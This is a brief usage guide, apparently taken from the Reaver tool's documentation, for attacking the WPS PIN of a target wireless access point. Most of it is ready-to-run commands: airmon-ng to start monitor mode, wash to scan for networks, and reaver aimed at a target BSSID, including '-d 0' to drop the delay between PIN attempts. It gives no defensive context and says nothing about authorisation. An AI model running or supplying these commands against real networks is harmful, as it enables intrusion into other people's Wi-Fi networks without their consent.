You must be running Linux
You must have a wireless card capable of raw injection
You must put your wireless card into monitor mode. This is most easily done using airmon-ng from the aircrack-ng tool suite.
First, make sure your wireless card is in monitor mode:
# airmon-ng start wlan0
Then Start ./wash -i mon0 to scan for valid Wifis.
To run Reaver, you must specify the BSSID of the target AP and the name of the monitor mode interface (usually 'mon0', not 'wlan0', although this will vary based on your wireless card/drivers):
# reaver -i mon0 -b 00:01:02:03:04:05
You will probably also want to use -vv to get verbose info about Reaver's progress:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv
Speeding Up the Attack
By default, Reaver has a 1 second delay between pin attempts. You can disable this delay by adding '-d 0' on the command line, but some APs may not like it:
# reaver -i mon0 -b 00:01:02:03:04:05 -vv -d 0